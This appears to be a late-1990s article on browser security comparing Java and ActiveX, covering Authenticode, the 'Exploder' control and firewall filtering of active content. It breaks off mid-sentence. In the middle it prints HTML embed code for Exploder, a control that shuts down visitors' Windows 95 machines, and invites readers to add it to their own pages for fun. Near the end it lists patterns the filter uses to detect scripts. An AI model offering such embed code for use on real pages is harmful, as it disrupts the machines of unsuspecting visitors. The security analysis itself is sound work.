Now, don’t mistake the Java language with the Java applets! These are two different things. Especially when talking about security. The Java language, like any other language, is not limited to the VMs. You can develop any security implementation you want with Java, just like you would do in C. The applets are incredible, they are great, easy to be implemented, but they are not Java language. For instance, you already are able to develop ActiveX objets with J++ (name Microsoft gave to their implementation of the Java language), and then develop a script utilizing JavaScript language if you want.

What that implies is that we need to concentrate on the security of the desktops, enhancing the security with firewalls and gateways, trying to control who has or not, access to the internal network.

For those of you that defend the idea of filtering Java applets through firewalls as a solution for the problem, imagine this scenario: imagine that I configured the cache of my Netscape loaded in my laptop to never expire. At the end of the day I take my laptop and go home and from there I jump on the Internet and download one of those "bad-boys" applets. Then I come back to the office next day, and show everyone how cool is the applet I download yesterday from the Internet. Bumm! Now the applet is running inside my company without ever had crossed the filters or firewall!

What we need is a way of turning off, or avoiding whatever we consider insecure to our environment. I’ve never seeing such a feature natively available in any browser. Of course, we could always turn off Java and JavaScripts (Options\Network Preferences\Language) in Netscape, but how can you administer it centrally? It’s very difficult.

Java blocking is an alternative. As a service generally performed at the firewall level, its scope of protection can be extended across the whole network. There is a patch to the TIS firewall toolkit, developed by Carl V Claunch (carl@popper.hdshq.com), from Hitachi Data Systems, that turns the TIS http-gw proxy into a filtering proxy.

According to Claunch, it can implement a uniform policy or differentiate policy by IP/domain name patterns. It can also block, permit or selectively block based on the version of the browser. The policies can be independently set not only for Java and ActiveX, but also JavaScript, VBScript, SSL and SHTTP. He alerts for comment handling, which is still tricky, and the fact that several conflicting standards and implementations also exist. The SSL and SHTTP dialogs render the HTML opaque to the proxy, which makes filtering not effective for SHTTP and HTTP pages!

Again, the core of this problem is the fact that with Microsoft’s active content model, it is very hard to control the objects. Once you download an executable component through IE, it becomes very hard to prevent it from very quietly manipulate the security policies of your system.

Java is not as capable as ActiveX, but its model is much more secured against these problems then ActiveX. Any seasoned developer could write an ActiveX control to simply open the doors of your system. After that, everything is possible!

The bottom line? We need to have more realistic expectation about what these applets and objects can and should not do. We should implement those results in our security policy and hope that Sun (or someone else!) will deliver a reliable digital signature system to aid in the authentication process. To project the odds of it happening? Well, this is another story.

ActiveX controls and Security Threats

ActiveX is an attractive technology that many of you may be tempted to use through your Web browser. This is fine if you trust every single site on the net that you visit. But, if you're like most of us who surf blindly from site to site looking for new and exciting things, you just may be asking for trouble.

ActiveX inherits the permissions of the user logged on locally to the machine the controls run on. In other words, if your browser supports ActiveX and you have this feature enabled, then the control has the same authority you do. If you have administrative rights, so do the ActiveX controls -- which can be a nasty problem.

Despite all these risks, just like everything Microsoft puts a hand on, ActiveX is picking up momentum. The developer’s kit Microsoft distributes (http://www.microsoft.com/intdev/sdk/) is simple, and is making lots of developers excited about starting to program with ActiveX. Take for example the looks of the Web page of Citrix Systems, developers of Winframe (http://www.citrix.com/hotspot.htm). It is incredible the effects that the new Intelligent Console Architecture (ICA) with ActiveX control is capable of doing! For those running the Internet Explorer 3.X (IE), I suggest you check Citrix’s site to see what I mean. Netscape had better watch out, because Microsoft is really hitting hard with their new version of IE, version 4.0.

The ICA is a protocol developed by Citrix, with a basic service function of presentation in the Windows environment. The ICA is very similar to the UNIX X-Windows protocol. For more information about the ICA protocol, go to Citrix’s site at URL http://www.citrix.com/icapos1.htm. Be on alert as I am sure this new technology, just like with Java and ActiveX, will generate a lot of talk in the next six months.

Microsoft and Citrix were already talking about a business partnership (see URL http://www.citrix.com/ms071696.htm and http://www.citrix.com/newtech.htm) early Summer of 1996. The pages show that ICA and ActiveX were developed to work together! But is ActiveX mature enough to get married?

For instance, we already find people developing controls in ActiveX capable of shutting down a Windows 95 machine! For many, ActiveX is nothing more than an OLE that changed names. In other words, any ActiveX control you download from the Web could possibly act as a virus!

For example, there is an ActiveX control called "Exploder," which I am sure many of you already toyed with, which will convince you of the security risks it presents for the Internet Explorer. Exploder is capable of executing a shutdown on Windows 95 and turning off your computer if it is equipped with an energy conservation BIOS! If you are running Windows 95 and want to go for a "test-drive" just click the button "Boom" at the URL http://www.halcyon.com/mclain/ActiveX/ and see what happens!

As a matter of fact, just for the fun of it, if you want to include the Exploder in your personal page, use the the following HTML code and make sure to copy de Exploder.ocx (at the same URL above) in the same directory:

<A HREF="http://www.halcyon.com/mclain/ActiveX">
<OBJECT ID="Exploder1" WIDTH=86 HEIGHT=31
 CODEBASE="Exploder.ocx"
 CLASSID="CLSID:DE70D9E3-C55A-11CF-8E43-780C02C10128">
    <PARAM NAME="_Version" VALUE="65536">
    <PARAM NAME="_ExtentX" VALUE="2646">
    <PARAM NAME="_ExtentY" VALUE="1323">
    <PARAM NAME="_StockProps" VALUE="0">
Exploder Control!</OBJECT></A>

In reality, all of us involved with the development of systems for the Internet and Web or its security have only two options:

• Expect to deal with cases like of Java and JavaScript, where unadvertedly you can download and run an applet without knowing where it came from, simply by clicking your mouse. At least these applets run under a virtual machine (VM), designed to give you some control of the situation in case you need it! or
• Expect to deal with the binaries and ActiveX, where the controls and applets run "raw", without access control or VMs, but require an action from you to be executed.

Java is substantially more secure than ActiveX. As a professional, lately involved with Web security, I believe Microsoft is underestimating both the problem of malicious programming and the need for more security at the PC level, when accessing the Internet. Hey! I didn’t say that I am an expert! In my book Protecting Your Web Site with Firewalls, published by PTR/Prentice Hall earlier on this Spring of 1997, I emphasize the user’s needs for stable and secure systems, which Windows 95 is still far from offering.

Even if the Internet Explorer were to be at the same level of the Netscape Navigator, it is better to think twice before investing in a browser that supports ActiveX. The Exploder is a joke, but has everything to turn itself into a serious risk for any company or user running the Internet Explorer. We should be concerned with the malicious ramifications. If you want and more in-depth discussion about it, I encourage you to read my book Internet Privacy Kit, published by Que on early Summer of 1997.

I am not saying that o ActiveX is something out right dangerous. As a matter of fact, as I mentioned at the beginning of this article, the technology is incredible, allowing impressive effects on Web pages.

I am talking about risk control. At the moment, ActiveX is risky. The example of the Exploder can be the beginning of something disastrous for any company or user. Just like a little kid, it is still stumbling, especially in the security area. HTTP, HTML, Java, and ActiveX, all have their security problems. Proxy servers and filters do help to eliminate these problems, but yet, it is not guaranteed.

The security model offered by the ActiveX assumes that you trust the company developing the controls. With Java, at least there is a mechanism that tries to prevent dangerous applications from been developed. With ActiveX, you need to trust Microsoft, but there is nothing you can do about the applications developed by other companies... unless to trust them as well. That is not a security model, but an act of faith! At the level of Intranets, ActiveX is a great product. But for the Internet, I suggest to wait a little more.

Nevertheless, it does not concerns me that people can download something from the Internet knowing that it could be dangerous to their environment, or even knowing that it doesn’t work! That’s already too late.

What does concerns me is that despite the risks ActiveX presents (Java and JavaScript included!), these applications are still becoming more and more popular. In the case of Exploder, the author could had called the control "nude-pics.ocx." Everyone would run to click the button "YES" without even paying attention do the alert message window, since they show up all the time in the Windows environment anyway.

Unfortunately, the Internet is taking us to a Darwinian future. A future where people that want to use the computer for trivial routines such as accounting, typing, entertainment, and who do not want to become systems managers or software engineers will become ostracized. Only those people capable of paying for keeping themselves abreast of the new technologies such as Java, JavaScript, and ActiveX will be able to plug their computers in to a telephone line.

Expecting that a typical user knows Java and ActiveX, or is smart enough not to click on the "OK" button when that is typical in the operation of Windows would be the same as blaming a soldier for stepping on a mine since he knew that the field was mined!

We cannot expect a typical user to know about the consequences of what Microsoft, Sun or Netscape are up to. The Web environment needs to become more secure. I am not a doctor and have no idea about the latest breakthroughs but I do expect my aspirin to be safe to take. If I will have to worry about every pill I need to take, so then I rather not take any pills.

A financial investor should feel safe about accessing the Web when searching for the latest quotes of the stock market without having to learn a new profession so that he could protect himself from files being deleted or stolen from his PC.

The solution? I have no idea! Well, there are few procedures you can take, which are discussed in the next section, but one thing you should be sure though: the majority of the controls developed in ActiveX don’t have any digital signature on them. And the majority of users, if not all of them, don’t care about the alerts shown on the Internet Explorer when one of these controls is executed. The users got used to clicking "YES" in the Windows environment.

I believe that in the next six months we will see new initiatives and new companies, promoting new security resources to control the avalanche of applets been built on the Internet. Can you think of applet brokers? Take a note of what I am saying: one of these days someone will present himself as an applet broker! What would these brokers do? They would take on the responsibility of inserting digital signatures on the applets, guaranteeing its authenticity and integrity, and even overseeing the transaction between the applet and the user (just like a real estate broker!). The broker would be the one to guarantee the security of the applet and that the client would not abuse of it.

If you hear about a new millionaire in a very near future, an applet broker, don’t tell me I didn’t give you the tip!

ActiveX: Silently Manipulating Security Policies

Consider this scenario: you contract me to develop some applications using ActiveX. I develop some applications as plug-ins for you Internet Explorer and you get all happy. However, once your users agree to use this plug-in I become registered with Explorer as a trusted publisher. What it means is that from now on all the requisitions to download the plug-in I developed won’t trigger the permission dialog box! Is it a bug or a feature?!

Far from being a fiction, unfortunately it is real. If you check C|net’s URL at http://www.news.com/News/Item/0,4,3707,00.html, you see that the same thing happened to InfoSpace last year. Fortunately, InfoSpace folks saw this "resource" as a bug and did an update on their plug-in. But here it is the question: can we assume that all the plug-in editors for the Internet Explorer are as responsible as InfoSpace?

In my opinion, when a download of an executable component is done, this component shouldn’t be able to silently manipulate the security policy of a system. However, it is almost impossible to prevent such a behavior from happening when we consider the active content model of Microsoft.

It is not new that the Java model is more robust then ActiveX when addressing this problem. But as a side effect, Java lacks such a feature, well, if we consider it a feature!

A feature or a bug, what I am most concerned is the fact that a shrewd developer, or a hacker, could generate an ActiveX control that would do nothing more than open the doors of the system and let all the other programs come in without even passing through the Authenticode. This ActiveX control could even let another version of itself access the system, accordingly signed, but without malicious codes, which would cover up any trace of it in the system.

Unfortunately, with ActiveX, when an user allows the code to run on the system, there are many "distressing" situations that could happen. In a way, this is not a problem affecting only ActiveX. It extends through all the platforms and type of codes. If the Web made it easy for an editor to distribute his codes, it also made it easy to identify a malicious code and to alert and communicate the endangered parties.

Without a doubt, the Authenticode helps a lot in the quality control and authenticity of the code. The fact that we can rapidly identify the author of a code and demand from him a fix for a bug is an example of it. If the author refuses to fix the code, there are several avenues one could take to force him to fix it, both in the commercial level, refusing to use the code, as well as legally, bringing him to court. This feature alone already grants Authenticode some merit.

Even though, Java’s robustness and the existence of other security applets for Java, such as Java Blocking, for instance, is enough for one to argue on rather develop on ActiveX or Java.

Although a lot of people gets confused about how to run the Java Blocking in the most effective way, opinions are many. Some think that the applet should run as a filter at the firewall, others feel that it should reside at the client, and other claim that it should be installed at the Web server.

I recommend you to have the Java Blocking running as a service at the firewall. This way, it will extend the level of protection against Java applets throughout the whole network. Some browsers, such as Netscape Navigator, provide security against Java applets at the client level, allowing the user to disable Java applets at the browser. However, it becomes very difficult to administer all the clients centrally.

Carl V Claunch, from Hitachi Data Systems, developed a patch for the TIS firewall toolkit that converts the TIS http-gw proxy onto a proxy filter. This filter can be implemented as an uniform or differentiated security policy at the level of IP/domain addresses. This filter can block, permit or combine both instances based on the browser version. The security policies are created separately for Java, JavaScript, VBScript, ActiveX, SSL e SHTTP

According to Claunch, as far as blocking JavaScript, this process involves the scanning of various constructs:

1  - <SCRIPT language=javascript> ... </SCRIPT>
2 - <SCRIPT language=livescript> . . . </SCRIPT>
3 - Attribute in other tags on form onXXXX= where XXXX indicates the
 browser’s actions, such as click, mouse movements, etc.
4 - URLs at HREFs and SRCs with javascript: protocol
5 - URLs at HREFs and SRCs with a livescript: protocol

The Java Blocking consists in disactivating both tags

<APPLET ...> and  </APPLET>,

while allowing characters to pass, which usually are alternatively HTML.

AS for the VBScript blocking it involves:

1 -  The scanning and filtering sequence of <SCRIPT
 language=VBScript> ....
</SCRIPT>
2 - Scanning and filtering sequence <SCRIPT
 language=vbs>...</SCRIPT>
3 - Removal of attributes on form onXXXXX= and many tags,
just like with JavaScript

The blocking of ActiveX involves the removal sequence of